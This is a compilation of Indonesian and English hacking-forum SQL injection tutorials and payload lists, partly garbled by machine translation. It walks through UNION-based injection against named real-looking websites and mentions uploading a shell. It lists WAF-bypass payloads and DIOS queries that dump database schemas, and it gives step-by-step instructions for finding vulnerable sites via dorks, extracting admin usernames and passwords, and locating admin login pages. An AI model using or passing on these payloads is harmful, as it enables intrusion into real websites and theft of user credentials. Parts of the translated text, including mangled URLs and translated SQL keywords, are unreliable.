3576http://www.jantv.in/comments/any_name_of_any_thing_u_uploaded.php
3577lihat wee berhasil meng-upload shell via query sqli :)
3578
3579Terima kasih
3580
3581http: // www.che.iitm.ac. di / dalam .php? id = 6
3582http: // www.che.iitm.ac. di / dalam .php? id = 6 'Union Select 1,2-- -
3583jika Anda mencoba untuk menyeimbangkan pesanan secara normal oleh atau grup saat itu Anda akan
3584temukan 2 kolom && this shit error "Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda"
3585Dalam jenis kesalahan ini kami mencoba beberapa metode seperti
3586Kolom 1.Bruteforce,
35872.do hex di semua kolom
35883. menghasilkan query + dll
35894. atau berbasis kesalahan
3590Ada opsi lain untuk menyeimbangkan permintaan seperti ini ...
3591+ GROUP + BY + 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 , 24,25,26,27,
3592Sekarang coba cara ini untuk mendapatkan kolom
3593http://www.che.iitm.ac.in/inner.php?id=6 '+ GROUP + BY
3594+ 1, 2,3, 4, 5, 6, 7,8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25 , 26, 27, -
3595Kolom tidak dikenal '8' di 'pernyataan grup'
3596jadi ada 7 kolom :)
3597Mari coba ini
3598http: // www.che.iitm.ac. di / dalam .php? id = 6 'dan 0 Union Pilih 1,2,3,4,5,6,7-- -
3599tetapi ini "Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda" lagi: 3
3600Sekarang coba cara Anda untuk melewati kesalahan ini
3601http://www.che.iitm.ac.in/inner.php?id=6 'dan 0 Union
3602Pilih 111, 2222,3333, 4444, 5555,6666, 7777-- -
3603tidak berfungsi
3604http: // www.che.iitm.ac. dalam / inner .php? id = 6 'dan 0 Union Select versi (), versi (), versi (), versi (), versi (), versi (), versi () - -
3605juga tidak berfungsi
3606Anda dapat mencoba lebih banyak cara lain seperti mengganti col palsu, nol atau kekuatan kasar, bt yang panjang
3607Dalam tantangan ini saya menemukan sesuatu yang berbeda ...
3608: 3
3609ok mari coba kueri yang diarahkan
3610Kita tahu dalam query yang diarahkan setiap kolom diganti dengan nol atau hex dengan satu "'" atau "1' - -"
3611http://www.che.iitm.ac.in/inner.php?id=-6 'Union
3612Pilih 1, 0x3227, 3, 4, 5, 6,7 - -
3613:)
3614ditemukan kesalahan dalam kolom no. 2
3615http: // www.che.iitm.ac. di / dalam .php? id = - 6 'Union Select 1, "2' - -", 3,4,5,6,7-- -
3616:)
3617Jika Anda mencoba ini, Anda akan menemukan kolom 4 secara otomatis
3618: D
3619atau Anda dapat melakukan penyatuan berdasarkan lagi kolom yang diarahkan ini
3620tapi saya katakan menggunakan serikat pilih hanya 1 kali
3621sekarang yang lain adalah tugas yang mudah
3622Terima kasih .....
3623
3624
3625SQL COMMENTS
3626‘ or 1=1#‘ or 1=1– –‘ or 1=1/* (MySQL < 5.1)
3627' or 1=1;%00
3628' or 1=1 union select 1,2 as `
3629' or#newline1='1'
3630or– -newline1='1'
3631/*!50000or*/1='1'
3632/*!or*/1='1
3633[-----------------------------------------------------]
3634PREFIXES
3635+ – ~ !
3636‘ or –+2=- -!!!’2
3637[-----------------------------------------------------]
3638OPERATORS
3639^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,,
3640XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY,BETWEEN, ISNULL
3641[-----------------------------------------------------]
3642WHITESPACES
3643%20 %09 %0a %0b %0c %0d %a0 /**/
3644‘or+(1)sounds/**/like“1“–%a0-
3645‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
3646[-----------------------------------------------------]
3647No Whitespace Bypass Using Comments
3648?id=1/*comment*/and/**/1=1/**/--
3649No Whitespace Bypass Using Parenthesis
3650?id=(1)and(1)=(1)--
3651[-----------------------------------------------------]
3652EXTRACT SUBSTRINGS
3653substr(‘abc’,1,1) = ‘a’
3654substr(‘abc’ from 1 for 1) = ‘a’
3655substring(‘abc’,1,1) = ‘a’
3656substring(‘abc’ from 1 for 1) = ‘a’
3657mid(‘abc’,1,1) = ‘a’
3658mid(‘abc’ from 1 for 1) = ‘a’
3659lpad(‘abc’,1,space(1)) = ‘a’
3660rpad(‘abc’,1,space(1)) = ‘a’
3661left(‘abc’,1) = ‘a’
3662reverse(right(reverse(‘abc’),1)) = ‘a’
3663insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
3664space(0) = trim(version()from(version()))
3665`
3666`
3667`
3668©M4c
3669
3670SQL INJECTION: BYPASSING WAF (WEB APPLICATION FIREWALL)
3671*** tutorial ini untuk menunjukkan kepada Anda bagaimana cara Bypass WAF (Aplikasi Web Firewall) ***
3672http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+Union+select+1,2,3,4,5,6,7,8,9--
3673seperti yang kita lihat [pilih] adalah down double text [Mengganti kata kunci] seperti SeLselectECT ini
3674www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9--
3675[5] WAF Bypassing - menggunakan karakter.
3676Ada banyak sekali karakter yang tersedia yang dapat kita gunakan untuk mem-bypass filter WAF.
3677karakter berikut dapat melakukan ini:
3678|,?, ", ', *,%, £, [],;,:, \ /, $, €, () ...
3679dengan menggunakan karakter ini dalam banyak kasus / *! * / tidak difilter. Tetapi tanda * diganti dengan spasi dan kesatuan - pilih disaring. yang berarti mengganti kata kunci tidak akan berfungsi.
3680Dalam kasus ini kita dapat menggunakan karakter * untuk memisahkan kata kunci.
3681Kami akan melakukan hal logis berikutnya:
3682www. [situs] .com / index.php? id = -1 + uni * pada + sel * ect + 1,2,3,4 - + -
3683Hampir sama dengan membagi kata kunci.
3684Tetapi dalam hal ini hanya * disaring oleh itu menggantikannya sedikit pun ruang memiliki hasil yang sama seperti dalam membagi kata kunci.
3685[6] Advanced WAF Bypassing - Kapitalisasi.
3686Cara lain adalah dengan hanya memanfaatkan karakter kita.
3687Daripada unIoN serikat Dalam beberapa dasar WAF ini akan berhasil.
3688Contoh di URL:
3689www. [site] .com / index.php? id = -1 + UnIoN + SeLeCt + 1,2,3,4 - + -
3690[7] Polusi Parameter HTTP (HPP)
3691HTTP Parameter Pollution (HPP) adalah teknik penghindaran serangan Web yang memungkinkan penyerang untuk membuat permintaan HTTP untuk memanipulasi atau mengambil informasi tersembunyi. Teknik pengelakan ini didasarkan pada pemisahan vektor serangan antara beberapa contoh parameter dengan nama yang sama. Karena tidak ada RFC HTTP yang relevan mendefinisikan semantik manipulasi parameter HTTP, setiap platform pengiriman aplikasi web dapat mengatasinya secara berbeda. Secara khusus, beberapa lingkungan memproses permintaan seperti itu dengan menggabungkan nilai-nilai yang diambil dari semua contoh nama parameter dalam permintaan. Perilaku ini disalahgunakan oleh penyerang untuk mem-bypass mekanisme keamanan berbasis pola.
3692kita melihat dua vektor injeksi SQL: "Regular attack" dan "Attack using HPP". Serangan reguler menunjukkan injeksi SQL standar dalam parameter prodID. Serangan ini dapat dengan mudah diidentifikasi oleh mekanisme deteksi keamanan, seperti Firewall Aplikasi Web (WAF). Serangan kedua [Gambar 2] menggunakan HPP pada parameter prodID. Dalam hal ini, vektor serangan didistribusikan di beberapa kejadian parameter prodID. Dengan kombinasi yang tepat dari lingkungan teknologi dan server web, serangan itu berhasil. Agar WAF untuk mengidentifikasi dan memblokir vektor serangan lengkap yang diperlukan untuk juga memeriksa input gabungan.
3693http://testasp.vulnweb.com/showforum.asp?id=-1 union pilih 1,2 -
3694testasp.vulnweb.com/showforum.asp?id=-1/* & id = * / union / * & id = * / select / * & id = * / 1,2 -
3695Teknik HPP
3696Spoiler (Klik untuk Melihat)
3697[8] Teknik Bypass WAF CRLF
3698CR LF berarti "Pengangkutan Kembali, Umpan Jalur"
3699CR LF berarti "Carriage Return, Line Feed" -itu adalah hangover DOS dari masa lalu ketika beberapa perangkat memerlukan Pengembalian Pengangkutan, dan beberapa perangkat membutuhkan Feed Line untuk mendapatkan baris baru, sehingga Microsoft memutuskan untuk membuat baris memiliki kedua karakter, sehingga mereka akan menampilkan dengan benar di semua perangkat.
3700Program Windows mengharapkan format baris baru mereka di CRLF (\ r \ n). * nix hanya mengharapkan data LF (\ n). Jika Anda membuka dokumen teks Unix di Notepad pada windows, Anda akan melihat bahwa semua jeda baris menghilang dan seluruh dokumen berada pada satu baris. Itu karena Notepad mengharapkan data CRLF, dan dokumen Unix tidak memiliki karakter.
3701Ada aplikasi yang akan mengkonversi ini untuk Anda pada distro * nix standar (dos2unix dan unix2dos)
3702Bagi mereka yang bertanya-tanya, pengembalian pengangkutan dan feed garis berbeda dari kembali pada hari-hari Mesin Ketik, ketika pengembalian carriage dan feed baris adalah dua hal yang berbeda. Satu akan membawa Anda ke awal baris (Carriage Return) dan satu akan memindahkan Anda satu baris lebih rendah, tetapi di lokasi horizontal yang sama (Line Feed)
3703Teknik CRLF
3704Sintaks:
3705Kode PHP:
3706% 0A% 0D + Pernyataan Mysql +% 0A% 0D
3707? id = -2 +% 0A% 0D / *!% 0A% 0Dunion * / +% 0A% 0D / *! 50000Pilih * /% 0A% 0D / *! + 77771,77772, unhex (hex (/ *! kata sandi * /)), 77774 + dari + / *! `Users` * / - -
3708Contoh di URL:
3709fpchurch.org.uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5 -
3710[9] Kesalahan Fatal Terjadi melewati
3711untuk memahami bagaimana kami dapat melewati Fatal Error Terjadi lihat Contoh ini:
3712Contoh di URL:
3713http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,5,6,7,8--
3714Yang disimpulkan bahwa kesalahan dalam struktur salah satu kolom Untuk menghindari kesalahan ini cobalah mengubah nilai kolom kolom kata null satu per satu: -
3715Kode PHP:
3716http://wwfa.org.uk/article.php?id=-174 UNION SELECT null, 2,3,4,5,6,7,8-- Kesalahan
3717http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1, null, 3,4,5,6,7,8-- Kesalahan
3718http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2, null, 4,5,6,7,8-- Kesalahan
3719http://wwfa.org.uk/article.
3720
3721DIOS Query Collections
3722
3723
37241. Show All Database --->
3725
3726(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=/*!50000concat*/(@a,schema_name,'
3727'))))a)
3728
37292.Show All Tables --->
3730
3731(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=/*!50000concat*/(@a,table_name,'
3732'))))a)
3733
37343. Show All Tables without information_schema ---->
3735
3736(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_name,'
3737'))))a)
3738
3739
37404. Show All Database and Tables --->
3741
3742(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,0x3a,table_name,'
3743'))))a)
3744
3745
37465. Show All Database and Tables and Columns --->
3747
3748(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,' > ',table_name,' > ',column_name,'
3749'))))a)
3750
3751
37526.Show Target Hacker Tables Name ---->
3753
3754
3755(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'Hacker_%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'
3756'))))a)
3757
3758
37597.Show Each Table and All Table Columns ---->
3760
3761(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'',column_name), (column_name))))))a)
3762
37638. Show Each Table with Row Count and All Table Columns ---->
3764
3765(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
3766',column_name), (column_name))))))a)
3767
3768
37699. Show Each Table with Row Count & number order and All Table Columns --->
3770
3771(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
3772',column_name), (column_name))))))a)
3773
3774Or
3775
3776Bypass -->
3777
3778(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=/*!12345'%69nformation_schema'*/)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=`table_schema`,0x203a3a20,@tbl:=`%74able_name`,0x2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c62723e,/*!12345`%63olumn_name`*/), (/*!12345`%63olumn_name`*/))))))a)
3779
3780
378110. Extract Column Data from Table ------>
3782
3783(select (@) from (select(@:=0x00),(select (@) from (users) where (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',username,' ] > ',pass,' > '))))a)#
3784
3785-h4rh4r
3786
3787Sql Injection types
37881. Error Based Injections (Union Select)
37891. String
37902. Intiger
37912. Error Based Injections (Double Injection Based)
37923. BLIND Injections:
37931.Boolian Based
37942.Time Based
37954. Update Query Injection.
37965. Insert Query Injections.
37976. Header Injections.
37981.Referer based.
37992.UserAgent based.
38003.Cookie based.
3801
3802MYSQL INJECTION - BYPASS UNION SELECT (WAF)
3803WHAT IS BYPASS : when target having WAF (web application firewall) secure encption or security on there server its cannot be directly get any vulnerble columns or its cannot be injeCted! so there haCker try to put diffrent query in combined charachaters encrpted,encoded,modifyed sql query parameters like one called UNION SELECT or UNION ALL SELECT!
3804there is all types of waf bypass method for bypass union select!
3805%55nion(%53elect 1,2,3)-- -
3806+union+distinct+select+
3807+union+distinctROW+select+
3808/**//*!12345UNION SELECT*//**/
3809/**//*!50000UNION SELECT*//**/
3810/**/UNION/**//*!50000SELECT*//**/
3811/*!50000UniON SeLeCt*/
3812union /*!50000%53elect*/
3813+ #‎union + #‎select
3814+ #‎1q %0AuNiOn all#qa%0A#%0AsEleCt
3815/*!%55NiOn*/ /*!%53eLEct*/
3816/*!u%6eion*//*!se%6cect*/
3817+un/**/ion+se/**/lect
3818uni%0bon+se%0blect
3819%2f**%2funion%2f**%2fselect
3820union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
3821REVERSE(noinu)+REVERSE(tceles)
3822/*--*/union/*--*/select/*--*/
3823union(/*!/**/SeleCT */ 1,2,3)
3824/*!union*/+/*!select*/
3825union+/*!select*/
3826/**/union/**/select/**/
3827/**/uNIon/**/sEleCt/**/
3828/**//*!union*//**//*!select*//**/
3829/*!uNIOn*//*!SelECt*/
3830+union+distinct+select+
3831+union+distinctROW+select+
3832uNiOn aLl sElEcT
3833if you got errors! please dnt loose hope! because in haCking! hope is your mirror of future in this ethical word lol i dnt want to be jesus forget these lines and try all method i m sure u got success soon! best of luck happy haCking! ;-)
3834
3835~h4rh4r
3836
3837Di sini Anda akan menemukan tutorial langkah demi langkah yang sangat detail yang ditulis oleh saya (PhortyPhour) tentang injeksi SQL. Ini murni untuk tujuan pendidikan dan akan digunakan atas kebijaksanaan pembaca.
3838
3839Pertama kita harus tahu persis apa itu injeksi SQL.
3840
3841Injeksi SQL adalah teknik injeksi kode yang mengeksploitasi kerentanan keamanan yang terjadi di lapisan basis data aplikasi. Kerentanan hadir ketika input pengguna salah difilter untuk karakter string literal escape yang tertanam dalam pernyataan SQL atau input pengguna tidak diketik kuat dan dengan demikian secara tidak terduga dieksekusi. Ini adalah contoh dari kelas kerentanan yang lebih umum yang dapat terjadi setiap kali salah satu pemrograman atau bahasa scripting tertanam di dalam yang lain. Serangan injeksi SQL juga dikenal sebagai serangan penyisipan SQL.
3842
3843Itu adalah paragraf pertama dari halaman wikipedia untuk SQLi (injeksi SQL) ditemukan di sini:
3844http://en.wikipedia.org/wiki/SQL_injection
3845
3846Saya akan menyarankan membaca seluruh halaman.
3847
3848Apa yang dicakup dalam tutorial ini?
3849
3850Bagian Satu - Penilaian Situs Web
3851Bagian Satu - Menemukan situs web yang rentan
3852Bagian Dua - Menentukan jumlah kolom
3853Bagian Tiga - Menemukan kolom mana yang rentan
3854
3855Bagian Dua - Mengumpulkan Informasi
3856Bagian Satu - Menentukan versi SQL
3857Bagian Dua - Menemukan basis data
3858
3859Bagian Tiga - The Good Stuff
3860Bagian Satu - Menemukan nama-nama tabel
3861Bagian Dua - Menemukan nama-nama kolom
3862Bagian Tiga - Menampilkan isi kolom
3863Bagian Empat - Mencari halaman admin
3864
3865Sekarang mari kita mulai.
3866
3867Bagian Satu - Penilaian Situs Web
3868
3869Agar kami dapat mulai mengeksploitasi situs web, pertama-tama kami harus tahu persis apa yang kami suntikkan. Inilah yang akan kami bahas di Bagian Satu bersama dengan cara menilai informasi yang kami kumpulkan.
3870
3871Bagian Satu - Menemukan situs web yang rentan
3872
3873Situs web yang rentan dapat ditemukan menggunakan dorks (saya akan menyertakan daftar di akhir tutorial ini), baik di Google atau dengan pemindai eksploit. Bagi Anda yang tidak terbiasa dengan istilah "dorks", saya akan mencoba menjelaskan.
3874
3875Dorks adalah URL situs web yang dikenal rentan. Dalam injeksi SQL, dorks ini terlihat seperti ini:
3876
3877Kode:
3878inurl: buy.php? id =
3879
3880Ini akan dimasukkan ke mesin pencari dan karena "inurl:" bagian dari dork, mesin pencari akan mengembalikan hasil dengan URL yang berisi karakter yang sama. Beberapa situs yang memiliki dork ini di situs web mereka mungkin rentan terhadap injeksi SQL.
3881
3882Sekarang katakanlah kami menemukan halaman:
3883
3884Kode:
3885http://www.site.com/buy.php?id=1
3886
3887Untuk menguji situs ini, yang perlu kita lakukan adalah menambahkan 'baik di antara tanda "=" dan "1" atau setelah "1" sehingga terlihat seperti ini:
3888
3889Kode:
3890http://www.site.com/buy.php?id=1 '
3891atau
3892http://www.site.com/buy.php?id='1
3893
3894Setelah menekan enter, jika situs web ini mengembalikan kesalahan seperti berikut:
3895
3896Kode:
3897Peringatan: mysql_fetch_array (): argumen yang disediakan bukanlah sumber daya hasil MySQL yang valid di /home1/michafj0/public_html/gallery.php on line 7
3898
3899Atau sesuatu di sepanjang garis itu, ini berarti rentan terhadap injeksi.
3900
3901Dalam kasus di mana Anda menemukan situs web seperti ini:
3902
3903Kode:
3904http://www.site.com/buy.php?id=1&dog;catid=2
3905
3906Maka Anda harus menggunakan teknik yang sama dengan menambahkan 'kecuali itu harus antara nilai (dalam hal ini nomor) dan operator ("=" tanda) sehingga terlihat seperti ini:
3907
3908Kode:
3909http://www.site.com/buy.php?id='1&dog;catid='2
3910
3911Ada program yang akan melakukan ini untuk Anda tetapi untuk memulai saya akan menyarankan hanya untuk melakukan hal-hal secara manual, menggunakan Google, dan jadi saya tidak akan memposting apa pun untuk Anda. Jika Anda merasa sangat terpaksa untuk menggunakan satu lagi. Saya merekomendasikan Exploit Scanner oleh Reiluke.
3912
3913Bagian Dua - Menentukan jumlah kolom
3914
3915Agar kami dapat menggunakan perintah dan mendapatkan hasil, kami harus tahu berapa banyak kolom yang ada di situs web. Jadi untuk menemukan jumlah kolom kita harus menggunakan metode yang sangat kompleks dan canggih yang saya suka sebut "Trial and Error" dengan perintah ORDER BY Biggrin
3916
3917CATATAN: SQL tidak peduli apakah huruf Anda dikapitalisasi atau tidak dan saya hanya melakukannya karena kejelasan, karena semua yang peduli pertanyaan Anda bisa terlihat seperti ini:
3918
3919Kode:
3920http://www.site.com/buy.php?id=-1 CaN I HaZ TeH PaSSwOrDs? PLz dan ThX
3921
3922TIDAK MASALAH (btw tolong jangan berpikir itu adalah perintah yang sebenarnya).
3923
3924Jadi kembali ke perintah ORDER BY. Untuk menemukan jumlah kolom, kami menulis kueri dengan nilai inkrementing hingga kami mendapatkan kesalahan, seperti ini:
3925
3926Kode:
3927http://www.site.com/buy.php?id=1 ORDER BY 1-- <--- Tidak ada kesalahan
3928http://www.site.com/buy.php?id=1 ORDER BY 2-- <--- Tidak ada kesalahan
3929http://www.site.com/buy.php?id=1 ORDER BY 3-- <--- Tidak ada kesalahan
3930http://www.site.com/buy.php?id=1 ORDER BY 4-- <--- Tidak ada kesalahan
3931http://www.site.com/buy.php?id=1 ORDER BY 5-- <--- ERROR!
3932
3933Ini berarti ada empat kolom!
3934
3935JANGAN LUPA UNTUK MENGUNGKAPKAN NULL DOUBLE (-) SETELAH QUERY.
3936SANGAT PENTING!
3937
3938Bagian Tiga - Menemukan kolom mana yang rentan
3939
3940Jadi kita tahu bahwa ada empat kolom sekarang kita harus mencari tahu mana yang rentan terhadap injeksi. Untuk melakukan ini, kami menggunakan UNION dan SELECT queries sambil mempertahankan double null (-) di akhir string. Ada juga perbedaan lain yang berukuran kecil tetapi tidak penting, lihat apakah Anda dapat menemukannya.
3941
3942Kode:
3943http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4--
3944
3945Jika Anda tidak dapat menemukan perbedaannya, ini adalah nol tambahan di antara tanda "=" dan nilai (nomor).
3946
3947buy.php? id = -1
3948
3949Sekarang setelah memasukkan pertanyaan itu Anda harus dapat melihat beberapa angka di suatu tempat di halaman yang tampaknya tidak pada tempatnya. Itu adalah jumlah kolom yang rentan terhadap injeksi. Kita dapat menggunakan kolom-kolom itu untuk menarik informasi dari database yang akan kita lihat di Bagian Dua.
3950
3951Bagian Dua - Mengumpulkan Informasi
3952
3953Pada bagian ini kita akan menemukan bagaimana menemukan nama database dan versi SQL apa yang digunakan situs web dengan menggunakan kueri untuk mengeksploitasi situs.
3954
3955Bagian Satu - Menentukan versi SQL.
3956
3957Menemukan versi SQL dari situs web adalah langkah yang sangat penting karena langkah yang Anda ambil untuk versi 4 cukup berbeda dari versi 5 untuk mendapatkan apa yang Anda inginkan. Dalam tutorial ini, saya tidak akan membahas versi 4 karena ini adalah permainan menebak dan untuk jenis situs yang masih menggunakannya, itu tidak sebanding dengan waktu Anda.
3958
3959Jika kita melihat kembali ke akhir Bagian Tiga di Bagian Satu kita melihat bagaimana menemukan kolom yang rentan. Menggunakan informasi itu kita dapat mengumpulkan pertanyaan berikutnya (saya akan menggunakan kolom 2). Perintah akan terlihat seperti ini:
3960
3961Kode:
3962http://www.site.com/buy.php?id=-1 UNION SELECT 1, @@ version, 3,4--
3963
3964Karena 2 adalah kolom rentan, di sinilah kita akan menempatkan "@@ version". String lain yang dapat menggantikan "@@ version" adalah "versi ()".
3965
3966Jika situs web masih tidak menampilkan versi coba menggunakan unhex (hex ()) yang terlihat seperti ini:
3967
3968Kode:
3969http://www.site.com/buy.php?id=-1 UNION SELECT 1, unhex (hex (@@ version)), 3,4--
3970
3971CATATAN: Jika metode ini harus digunakan di sini, itu harus digunakan untuk sisa suntikan juga.
3972
3973Sekarang apa yang ingin Anda lihat adalah sesuatu di bawah garis-garis ini:
3974
3975Kode:
39765.1.47-komunitas-log
3977
3978Yang merupakan versi dari SQL untuk situs web.
3979
3980CATATAN: Jika Anda melihat versi 4 dan Anda ingin mencobanya, ada tutorial lain yang menjelaskan cara menyuntikkannya.
3981
3982Bagian Dua - Menemukan basis data
3983
3984Menemukan nama basis data tidak selalu merupakan langkah yang diperlukan untuk mengumpulkan informasi yang Anda inginkan, namun dalam pengalaman saya mengikuti langkah-langkah ini dan menemukan basis data terkadang dapat menghasilkan tingkat keberhasilan yang lebih tinggi.
3985
3986Untuk menemukan database kami menggunakan query seperti yang di bawah ini:
3987
3988Kode:
3989http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (schema_name), 3,4 dari information_schema.schemata--
3990
3991Ini terkadang menghasilkan lebih banyak hasil daripada yang diperlukan dan saat itulah kami beralih ke kueri ini:
3992
3993Kode:
3994http://www.site.com/buy.php?id=-1 UNION SELECT 1, concat (database ()), 3,4--
3995
3996Selamat! Anda sekarang memiliki nama database! Salin dan tempelkan nama di suatu tempat yang aman, kita akan membutuhkannya nanti.
3997
3998Bagian Tiga - The Good Stuff
3999
4000Ini adalah bagian yang menyenangkan di mana kami akan menemukan nama pengguna, email, dan kata sandi!
4001
4002Bagian Satu - Menemukan nama-nama tabel
4003
4004Untuk menemukan nama tabel kami menggunakan query yang mirip dengan yang digunakan untuk mencari database dengan sedikit tambahan tambahan:
4005
4006Kode:
4007http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (table_name), 3,4 FROM information_schema.tables WHERE table_schema = database () -
4008
4009Mungkin terlihat panjang dan membingungkan tetapi setelah Anda memahaminya, itu tidak benar-benar saya akan coba jelaskan. Apa yang dilakukan oleh query ini adalah "groups" (group_concat) "nama tabel" (nama_tabel) bersama-sama dan mengumpulkan informasi tersebut "dari" (FROM) information_schema.tables di mana "skema tabel" (table_schema) dapat ditemukan di "basis data "(database ()).
4010
4011CATATAN: Saat menggunakan group_concat Anda hanya akan dapat melihat tabel 1024 karakter, jadi jika Anda melihat bahwa tabel terputus pada saklar akhir untuk membatasi yang akan saya jelaskan sekarang.
4012
4013Kode:
4014http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 FROM information_schema.tables WHERE table_schema = database () LIMIT 0,1--
4015
4016Apa yang dilakukan adalah menampilkan tabel pertama dan satu-satunya yang pertama. Jadi jika kita kehabisan karakter, katakanlah tabel ke-31 kita bisa menggunakan query ini:
4017
4018Kode:
4019http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 FROM information_schema.tables WHERE table_schema = database () LIMIT 30,1--
4020
4021Perhatikan bagaimana batas saya adalah 30,1 bukannya 31,1? Ini karena ketika menggunakan batas dimulai dari 0,1 yang berarti bahwa ke-30 sebenarnya adalah Tongue ke-31
4022
4023Anda sekarang memiliki semua nama tabel!
4024
4025
4026Bagian Dua - Menemukan nama-nama kolom
4027
4028Sekarang setelah Anda memiliki semua nama tabel coba dan pilih salah satu yang menurut Anda akan berisi informasi berair. Biasanya mereka adalah tabel seperti User (s), Admin (s), tblUser (s) dan sebagainya tetapi itu bervariasi antar situs.
4029
4030Setelah menentukan tabel mana yang menurut Anda berisi informasi, gunakan kueri ini (dalam contoh saya, saya akan menggunakan nama tabel "Admin"):
4031
4032Kode:
4033http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 FROM information_schema.columns WHERE table_name = "Admin" -
4034
4035Ini akan memberi Anda daftar semua kolom di dalam tabel atau memberi Anda kesalahan tetapi jangan panik jika hasilnya # 2! Semua ini berarti bahwa Kutipan Sihir diaktifkan. Ini dapat dilewati dengan menggunakan hex atau char converter (keduanya berfungsi) untuk mengonversi teks normal menjadi char atau hex (tautan ke situs web yang melakukan ini akan dimasukkan di akhir tutorial).
4036
4037PEMBARUAN: Jika Anda mendapatkan kesalahan pada titik ini, yang harus Anda lakukan adalah ikuti langkah-langkah berikut:
4038
40391. Salin nama tabel yang Anda coba akses.
40402. Tempelkan nama tabel ke dalam situs web ini yang bertuliskan "Say Hello To My Little Friend".
4041Konverter Hex / Char
4042http://www.swingnote.com/tools/texttohex.php
40433. Klik konversikan.
40444. Salin string angka / huruf di bawah Hex ke dalam kueri Anda sehingga terlihat seperti ini:
4045
4046Kode:
4047http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 FROM information_schema.columns WHERE table_name = 0x41646d696e--
4048
4049Perhatikan bagaimana sebelum saya menempelkan hex saya menambahkan "0x", semua ini memberitahu server bahwa karakter berikut adalah bagian dari string hex.
4050
4051Anda sekarang harus melihat daftar semua kolom dalam tabel seperti nama pengguna, kata sandi, dan email.
4052
4053CATATAN: Menggunakan fungsi batas berfungsi dengan kolom juga.
4054
4055Bagian Tiga - Menampilkan isi kolom
4056
4057Kami hampir selesai! Yang harus kita lakukan adalah melihat apa yang ada di dalam kolom itu dan menggunakan informasi untuk masuk! Untuk melihat kolom yang kita butuhkan untuk memutuskan mana yang ingin kita lihat dan kemudian menggunakan query ini (dalam contoh ini saya ingin melihat kolom "username", "password", dan "email", dan nama database saya akan "db123 "). Di sinilah nama database berguna:
4058
4059Kode:
4060http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (nama pengguna, 0x3a, kata sandi, 0x3a, email), 3,4 DARI db123.Admin--
4061
4062Dalam query ini, 0x3a adalah nilai hex dari titik dua (:) yang akan mengelompokkan username: password: email untuk masing-masing pengguna begitu saja.
4063
4064AKHIRNYA! Sekarang Anda memiliki informasi login untuk pengguna situs, termasuk admin. Yang harus Anda lakukan sekarang adalah menemukan halaman login admin yang membawa kita ke Bagian Empat.
4065
4066Bagian Empat - Mencari halaman admin
4067
